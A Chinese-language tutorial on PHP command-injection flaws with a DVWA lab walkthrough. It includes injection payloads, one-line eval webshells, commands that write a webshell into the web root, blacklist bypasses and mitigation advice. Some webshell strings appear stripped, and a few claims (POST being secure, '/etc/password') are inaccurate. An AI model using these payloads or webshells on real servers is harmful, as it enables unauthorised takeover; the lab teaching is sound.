命令执行漏洞产生原因:应用未对用户输入做严格的检查过滤,导致用户输入的参数被当成命令来执行。攻击者可以任意执行系统命令,属于高危漏洞之一,也属于代码执行的范畴。
RCE:远程命令和代码执行。
①继承web服务程序的权限去执行系统命令或读写文件。
②反弹shell,获得目标服务器的权限。
③进一步内网渗透。
在PHP中,有时需要调用一些执行命令的函数.如:eval()、assert()、preg_replace()、create_function()
等,如果存在一个使用这些函数且未对可被用户控制的参数进行检查过滤的页面,那么这个页面就可能存在远程命令执行漏洞。
php相关:
eval()
和assert()
函数:
eval()
和assert()
函数都可以执行参数内的代码,且接受的参数为字符串。
例子:
@eval($_POST[‘cmd’]);?>
<?php @assert($_POST[‘cmd’])?>
注意:eval()函数传入的参数必须为php代码,即要以分号结尾;
assert()函数是直接将传入的参数当成php代码执行,不需要以分号结尾。
preg_replace()
函数:
preg_replace
(‘正则规则’。‘替换字符’,‘目标字符’)
例子:
preg_replace(“/test/e”,$_POST[“cmd”],”just test”);?>
原理:PCRE修饰符e:preg_replace()
在进行了对替换字符串的后向引用替换之后,把替换后的字符串作为php代码执行(eval函数方式),并使用执行结果作为实际参与替换的字符串。
array_map()
函数:
将用户自定义函数作用到数组中的每一个值上,并返回用户定义函数作用后的带有新值的数组。
例子:
$func=$_GET[‘func’]; //GET方式传参
$cmd=$_POST[‘cmd’]; //POST方式传参
$array[0]=$cmd;
$new_array=array_map($func,$array);
Echo $new_array;
?>
类似函数:
create_function()
call_user_func()
all_user_func_array()
array_filter()
uasort()
GET和POST传参的区别:
1.post传输数据时,不需要在URL中显示出来,而Get方法要在URL中显示。
2.post传输的数据量大,可以达到2M,而Get方法由于受到URL长度的限制,只能传递大约1024字节.
3.post顾名思义,就是为了将数据传送到服务器段,Get就是为了从服务器段取得数据.而Get之所以也能传送数据,只是用来设计告诉服务器,你到底需要什么样的数据.Post的信息作为http请求的内容,而Get是在Http头部传输的。
get和post的区别
1、get方式传递的参数可以在页面上看见,安全性不高,反之post安全性高
2、get方式传递的速度快。
利用PHP的系统命令执行函数来调用系统命令并执行.这类函数有system()、exec()、shell _exec()、passthru()、penti_exec()、popen()、proc_open()
等,此外还有反引号命令执行,这种方式实际上是调用shell_ exec()
函数来执行。
eval():
将输入的字符串参数当做PHP程序代码来执行
system():
执行外部程序.并且显示输出; 成功则返回命令输出的最后一行,失败则返回 FALSE;
exec():
执行一个外部程序,不会主动返回执行结果,且只是返回结果的最后一行。
shell_exec() :
通过shell 环境执行命令,并且将完整的输出以字符串的方式返回。当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL。
passthru():
执行unix系统命令(外部程序)并且显示原始输出;用来执行外部命令,但直接将结果输出到浏览器(未经任何处理的 原始输出),没有返回值;
pcntl_exec() :
在当前进程空间执行指定程序
popen():
打开进程文件指针
proc_open():
执行一个命令,并且打开用来输入/输出的文件指针
`(反单引号)
cmd1|cmd2 :管道符,无论cmd1是否执行成功,cmd2将被执行(最终只显示cmd2)
cmd1||cmd2 :仅在cmd1执行失败时才执行cmd2,否则只执行前面的
cmd1&cmd2 :先执行cmd1和cmd2,无论cmd1是否执行成功
cmd1&&cmd2 :仅在cmd1执行成功后时才执行cmd2
cmd1;cmd2 :无论cmd1是否执行成功,cmd2将被执行。
参考《Web安全深度剖析》一书命令执行漏洞相关内容。
Net ViewI–作用:显示域列表、计算机列表或指定计算机的共享资源列表。
Net User–作用:添加或更改用户帐号或显示用户帐号信息。
Net Use–作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。
Net Time–作用:使计算机的时钟与另一台计算机或域的时间同步。
Net Config–作用:显示当前运行的可配置服务,或显示并更改某项服务的设置。
Ping:测试网络连通性
Ipconfig:显示计算机中网络适配器的ip地址,子网掩码及默认网关
Netstat:查看网络开放端口及连接状态
Net user:查看、增加、删除当前系统账号
Net localgroup:查看、增加、删除当前系统用户组
Dir:查看当前目录下的文件和子目录信息
Systeminfo:查看当前计算机的综合信息
Tasklist:显示当前运行的进程信息(可查看pid),即计算机有哪些软件正在进行
Ifconfig:查看当前ip、mac等信息
Netstat:查看网络开放端口及连接状态
Whoami:查看当前用户
Cat/etc/password:查看所有用户信息
Ls:查看当前目录下的文件和子目录信息
Useradd:添加账户
Userdel:删除账户
Passwd:修改账户密码
1.在PHP下禁用高危系统函数
找到php.ini,查找到disable_functions,添加禁用的函数名
2.参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义。
3.不执行外部的应用程序或命令
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。
4.使用escapeshellarg函数处理相关参数
escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
5.使用safe_mode_exec_dir指定可执行的文件路径
将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
如果出现乱码,在dvwa\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可解决乱码问题。
后台码源:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
127.0.0.1&dir:查看当前工作目录
11|echo “” >> D:/phpstudy_pro/WWW/dvwa/vulnerabilities/exec/123.php
注入木马后,可以使用中国蚁剑连接,进入后台执行任何操作。
后台码源:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
对输入的内容进行简单检测,会过滤&&和;,但可以被绕过,例如使用&;&。
①当&&被过滤掉时,我们可以使用||来拼接命令
②当;被过滤掉时,一句话木马中存在;符号,但是无;的一句话木马也能被解析执行。
PHP一句话木马:
创建文件、写入木马:
11|echo “” >> D:/phpstudy_pro/WWW/dvwa/vulnerabilities/exec/456.php
中国菜刀连接,查看文件,识别成功后,就可以做任何操作,当然也可以不使用木马,只要有权限,就可以查看、删除、添加、修改所有文件。
后台码源:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
进行的大量的黑名单检测绕过,但依旧可以找到问题字符串进行绕过。
但是| 空格被过滤,但是不会过滤|,所以可以利用这个漏洞。
11|dir,可以列举出当前目录内容
后台码源:
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
安全防护:
1.token机制:同之前的暴力破解一样,使用了token机制(基于token的身份验证),由于token值,每次交互都是随机的,客户端和服务端都为随机值。
2.stripslashes()函数:过滤字符串中的反斜杠。
3.explode()函数:将所有的字符串打散成为数组。
4.is_numeric() 函数:用于检测变量是否为数字或数字字符串。
Anti-CSRF token:同时对参数ip进行严格的限制,只有“数字.数字.数字.数字”的输入才会被接受,因此不存在命令注入漏洞。
防范措施:获取要测试的IP,利用函数根据.将其分割成4个数值,再重新拼接后进行测试。
后台直接提供了系统命令执行,将输入的值直接拼接在代码中,未做处理,可以任意系统命令执行。
11 || pwd (pwd在linux系统中是print working directory打印当前工作目录,即显示用户当前所处的工作目录)
11 || ls (list 用来打印出当前目录的清单)
192.168.203.149 && ls
192.168.203.149 && pwd
既然||,&&能拼接命令并且能够执行,此时我们也可以创建文件,并在此文件中写入PHP一句话木马,用中国蚁剑或中国菜刀工具连接,就可以做任何的操作,当前已经通过拼接pwd命令得出当前所在目录文件。
PHP一句话木马:
11 || echo '' >> /var/www/html/dvwa/vulnerabilities/exec/123.php
/var/www/html/dvwa/vulnerabilities/exec该目录为上面pwd查看当前工作目录得到。
注入木马后,便可用中国菜刀软件直接连接,执行任何操作。
对输入的内容进行简单检测,会过滤&&和;,但可以被绕过,例如使用&;&。
①当&&被过滤掉时,我们可以使用||来拼接命令
11 || pwd
②当;被过滤掉时,一句话木马中存在;符号,但是无;的一句话木马也能被解析执行。
PHP一句话木马:
@eval($_POST[456])?>
创建文件、写入木马:
11 || echo '' >> /var/www/html/dvwa
/vulnerabilities/exec/456.php
中国菜刀连接,查看文件,识别成功后,就可以做任何操作,当然也可以不使用木马,只要有权限,就可以查看、删除、添加、修改所有文件。
进行的大量的黑名单检测绕过,但依旧可以找到问题字符串进行绕过。
但是红色阴影部分| 空格被过滤,但是不会过滤|,所以可以利用这个漏洞。
输入127.0.0.1 |net user